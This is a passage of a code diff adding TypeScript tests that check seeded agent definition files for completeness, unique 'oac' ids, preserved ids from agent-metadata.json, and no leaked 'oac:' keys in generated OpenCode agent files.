+    const missing = listFiles(requireDir(".opencode/agent", "n/a — already on disk", "n/a"))
+      .map((file) => basename(file))
+      .filter((file) => !seeded.has(file));
+
+    expect(
+      missing,
+      "agents not yet seeded into content/agents/.\n" +
+        "  Known gap as of 2026-07-15: eval-runner.md is skipped because it has uncommitted\n" +
+        "  user work in the working tree. It IS in agent-metadata.json and task.json's exit\n" +
+        "  criteria require all 34 in content/, so this is a real remaining gap, not a\n" +
+        "  permanent exclusion — subtask 09 must seed it once that work is committed."
+    ).toEqual([]);
+  });
+
+  it("gives every agent a unique oac id", () => {
+    const dir = requireDir(
+      "content/agents",
+      OWED_BY,
+      "agent ids are unique, so the build can address each agent unambiguously"
+    );
+
+    // NB: the id deliberately does NOT have to match the filename. `test-engineer.md` has
+    // id `tester` in .opencode/config/agent-metadata.json, and `subagent:tester` is what the
+    // profiles and registry reference. The id is the identity; the path is just where it sits.
+    const ids = listFiles(dir).flatMap((file) => {
+      const { data } = matter(readFileSync(file, "utf-8"));
+      const parsed = OacBlockSchema.safeParse(data.oac);
+      return parsed.success ? [{ file: basename(file), id: parsed.data.id }] : [];
+    });
+
+    const duplicated = ids.filter(
+      (entry, at) => ids.findIndex((other) => other.id === entry.id) !== at
+    );
+
+    expect(duplicated, "two agents share an oac id").toEqual([]);
+    expect(ids.length, "no agent file parsed — is content/agents/ populated?").toBeGreaterThan(0);
+  });
+
+  it("keeps every id that agent-metadata.json already knows", () => {
+    const dir = requireDir(
+      "content/agents",
+      OWED_BY,
+      "seeding content/agents/ preserves the ids the sidecar already published, so registry " +
+        "and profile references keep resolving once the sidecar is dissolved"
+    );
+
+    const sidecar = JSON.parse(
+      readFileSync(packagePath("../../.opencode/config/agent-metadata.json"), "utf-8")
+    ) as { agents: Record<string, { id: string }> };
+
+    const seeded = new Set(
+      listFiles(dir).flatMap((file) => {
+        const { data } = matter(readFileSync(file, "utf-8"));
+        const parsed = OacBlockSchema.safeParse(data.oac);
+        return parsed.success ? [parsed.data.id] : [];
+      })
+    );
+
+    const lost = Object.values(sidecar.agents)
+      .map((entry) => entry.id)
+      .filter((id) => !seeded.has(id));
+
+    expect(lost, "ids published by agent-metadata.json that content/agents/ no longer carries").toEqual(
+      []
+    );
+  });
+
+  it("emits no oac: key into any generated OpenCode agent file", () => {
+    // The inverse of the corpus check: `oac:` is authoring-only. If it survives into
+    // .opencode/agent/**, OpenCode rejects the file as an unknown field.
+    const generated = listFiles(requireDir(".opencode/agent", "n/a — already on disk", "n/a"));
+    const leaked = generated.filter((file) => {
+      const { data } = matter(readFileSync(file, "utf-8"));
+      return data.oac !== undefined;
+    });
+
+    expect(leaked.map((file) => relative(packagePath("../.."), file))).toEqual([]);
+  });
+});